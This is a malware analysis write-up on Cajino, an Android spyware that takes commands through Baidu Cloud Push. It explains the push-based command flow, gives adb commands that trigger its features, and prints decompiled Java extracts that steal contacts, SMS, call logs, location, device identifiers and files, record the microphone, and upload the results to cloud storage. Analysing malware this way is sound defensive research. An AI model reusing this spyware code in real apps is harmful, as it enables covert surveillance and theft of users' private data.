Cajino

March 2015

Summary

Remote controlled spyware which uses Baidu Cloud Push notification messages

GroDDViewer graphs:

Details

Cajino is a spyware discovered in March 2015. Its particularity is to receive commands via Baidu Cloud Push messages. In addition to alternative markets, samples were downloadable on the Google Play store with more than 50.000 downloads.

Stage 1: Registration

The application must be launched at least one time. When it occurs, in the onCreate() function, a registration procedure of the Baidu API is executed in order to make the phone be able to receive Push messages from the remote server.

if(!Utils.hasBind(this.getApplicationContext())){
     PushManager.startWork(this.getApplicationContext(),
     0, Utils.getMetaValue((Context)this, "api_key"));
}


At the same time, the MainActivity displays an empty WebView and a dialog box pops up asking for an update with a “Yes” or “No” choice. Actually these 2 buttons do not work: there is no code behind.

Stage 2: Receiving Push messages

The malware has a receiver named PushMessageReceiver. It can react to these intents broadcasted by Baidu services :

<action android:name="com.baidu.android.pushservice.action.MESSAGE"/>
<action android:name="com.baidu.android.pushservice.action.RECEIVE"/>
<action android:name="com.baidu.android.pushservice.action.notification.CLICK"/>


When a Push message is received, PushMessageReceiver starts BaiduUtils.getFile() which will check if the device is concerned by the incoming message, and if so, it will start BaiduUtils.getIt() to execute the right command. In this function we can see all the actions the malware can perform.

Cajino is able to steal the contacts, steal the call logs, steal all SMS (inbox and sent), get the last known location of the device, steal sensitive data (IMEI, IMSI, phone number), list all data stored on the external storage. For each of these features, the malware first stores the results in files written into /sdcard/DCIM/Camera/ before uploading them to the remote server. The malware can also send SMS to any number given by the server, upload to the server or delete any file stored on the external storage.

In some versions of the malware (e.g. ca.ji.no.method2), more features are available. For example it can record the microphone with a MediaRecorder during a period of time given by the server:

BaiduUtils.recorder.prepare(); BaiduUtils.recorder.start();
Thread.sleep(int1 * 1000);
BaiduUtils.recorder.stop(); BaiduUtils.recorder.release();


It can also download an apk file into the directory /sdcard/update/ and install it on the device:

private static void installApk(final Context context, String str) {
    str = Environment.getExternalStorageDirectory()
        + "/update/update.apk";
    final Intent intent = new Intent("android.intent.action.VIEW");
    intent.addFlags(268435456);
    intent.setDataAndType(Uri.fromFile(new File(str)),
        "application/vnd.android.package-archive");
    context.startActivity(intent);
}


The last feature of Cajino is a classical call to a number given by the server, not hidden from the user. That makes a total of 12 distinct features the malware can perform. All the necessary permissions are written in the manifest, which make the user aware of the requested permissions at installation time.

Other resources

Triggering

Launch the app to trigger the registration, then you need to wait for a Push message from the remote server. If you want to force the execution, send an intent with adb, for example:

adb shell am broadcast -a com.baidu.android.pushservice.action.MESSAGE --es message_string "all list_file"

And then :

adb shell am broadcast -a com.baidu.android.pushservice.action.MESSAGE --es message_string "all photo"

This will list all the files stored in /sdcard/ and send the list to the remote server.

Caracteristics

Malware type :

  • Remote Administration Tool (RAT)
  • Spyware

Attacks :

  •   Confidentiality

  •   Normal use

Infection technique : Standalone application

Malicious code type :

  • Use Java code
  • Use native code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Executed at launch
  • Waits for a message from a remote server

Samples

Java source code extracts:

bind.java is the part of code used to register the phone in order to receive Push messages from the remote server.
MainActivity.java is the code used to build the only activity, we can see there is no code triggered by the buttons.
getIt.java is the function used to switch between C&C server commands.
getLocation.java is the function used to get the last known location of the device.
sendSMS.java is the function used to send SMS.
record.java is a function from another version of the malware, used to record the phone's microphone.
installApk.java is a function from another version of the malware, used to install an application downloaded under the name "update.apk".

bind.java

// in file ca/ji/no/method3/MainActivity.java
// extract of the function "onCreate"

if (!Utils.hasBind(this.getApplicationContext())) {
	PushManager.startWork(this.getApplicationContext(), 0, Utils.getMetaValue((Context)this, "api_key"));
}

Utils.setBind(this.getApplicationContext(), true);

MainActivity.java

// in file ca/ji/no/method3/MainActivity.java
// extract of the function "onCreate"

new AlertDialog.Builder(this).setTitle("업데이트").setMessage("새버전으로 업데이트 합니다 ")
.setPositiveButton("yes", new DialogInterface.OnClickListener()
{
	public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}})
.setNegativeButton("no", new DialogInterface.OnClickListener()
{
	public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}})
.create().show();

getIt.java

// in file ca/ji/no/method3/BaiduUtils.java
 
private static void getIt(final String s, final Context context) {

	new BaiduBCS(new BCSCredentials(BaiduUtils.accessKey, BaiduUtils.secretKey),
		BaiduUtils.host).setDefaultEncoding("UTF-8");

	final TelephonyManager telephonyManager = (TelephonyManager)context.getSystemService("phone");
	telephonyManager.getLine1Number();
	final String deviceId = telephonyManager.getDeviceId();

	//Upload all files stored in sdcard/DCIM/Camera/
	if (s.contains("photo")) {
		getPhoto(deviceId);
	}
	else {
		//Steal the phonebook
		if (s.contains("contact")) {
			getContact(context, deviceId);
			return;
		}
		//Steal the call log
		if (s.contains("call_log")) {
			getCallLog(context, deviceId);
			return;
		}
		//Steal all SMS 
		if (s.contains("upload_message")) {
			getMessage(context, deviceId);
			return;
		}
		//Steal location of the device
		if (s.contains("location")) {
			getLocation(context, deviceId);
			return;
		}
		//Send an SMS
		if (s.contains("send_message")) {
			sendMessage(s, context, deviceId);
			return;
		}
		//Steal sensitive information (IMEI, IMSI, phone number, ...)
		if (s.contains("phone")) {
			getPhoneInfo(context);
			return;
		}
		//Get the list of all files stored in /sdcard/
		if (s.contains("list_file")) {
			listFileByPath(context, s);
			return;
		}
		//Upload any file stored in /sdcard/
		if (s.contains("upload_file")) {
			uploadFileByPath(context, s);
			return;
		}
		//Delete any file stored in /sdcard/
		if (s.contains("delete_file")) {
			deletFileByPath(context, s);
			return;
		}
		//Steal sensitive informations + all SMS
		if (s.contains("combine")) {
			getPhoneInfo(context);
			getMessage(context, deviceId);
		}
	}
}

getLocation.java

// in file ca/ji/no/method3/BaiduUtils.java

private static void getLocation(final Context context, final String s) {

	final BaiduBCS baiduBCS = new BaiduBCS(new BCSCredentials(BaiduUtils.accessKey,
		BaiduUtils.secretKey),BaiduUtils.host);
	baiduBCS.setDefaultEncoding("UTF-8");

	final LocationManager locationManager = (LocationManager)context.getSystemService("location");
	final Criteria criteria = new Criteria();
	criteria.setAccuracy(1);
	criteria.setAltitudeRequired(false);
	criteria.setBearingRequired(false);
	criteria.setCostAllowed(false);
	criteria.setPowerRequirement(1);

	final Location lastKnownLocation;
	lastKnownLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, true));
	createContactFile("location", 
		String.valueOf(lastKnownLocation.getLatitude()) + " " + lastKnownLocation.getLongitude());

	try {
		putObjectByInputStream(baiduBCS, s, "location");
		deletTempFile("location");
	}
	catch (FileNotFoundException ex) {
		ex.printStackTrace();
	}
}

sendSMS.java

// in file ca/ji/no/method3/BaiduUtils.java

private static void sendSMS(final String s, final String s2) {

	final SmsManager default1 = SmsManager.getDefault();

	if (s2.length() > 70) {
		final Iterator iterator = default1.divideMessage(s2).iterator();
		while (iterator.hasNext()) {
			default1.sendTextMessage(s, null, iterator.next(), null, null);
		}
		return;
	}

	default1.sendTextMessage(s, null, s2, null, null);
}

record.java

// in file ca/ji/no/method2/BaiduUtils.java
// extract of the function "record"

	final String deviceId = telephonyManager.getDeviceId();
	BaiduUtils.recorder = new MediaRecorder();
	BaiduUtils.recorder.setAudioSource(1);
	BaiduUtils.recorder.setOutputFormat(3);
	BaiduUtils.recorder.setAudioEncoder(1);
	BaiduUtils.recorder.setOutputFile(Environment.getExternalStorageDirectory() + "/DCIM/Camera/record");

	while (true) {
		try {
			BaiduUtils.recorder.prepare();
			BaiduUtils.recorder.start();
			Thread.sleep(int1 * 1000);
			BaiduUtils.recorder.stop();
			BaiduUtils.recorder.release();
			final String s2 = s;
			final String s3 = deviceId;
			final String s4 = "record";
			final Context context2 = context;
			putObjectByInputStream((BaiduBCS)s2, s3, s4, context2);
			final String s5 = "record";
			deletTempFile(s5);
			return;
		}

installApk.java

// in file ca/ji/no/method2/BaiduUtils.java

private static void installApk(final Context context, String string) {
	string = Environment.getExternalStorageDirectory() + "/update/update.apk";
	final Intent intent = new Intent("android.intent.action.VIEW");
	intent.addFlags(268435456);
	intent.setDataAndType(Uri.fromFile(new File(string)), "application/vnd.android.package-archive");
	context.startActivity(intent);
}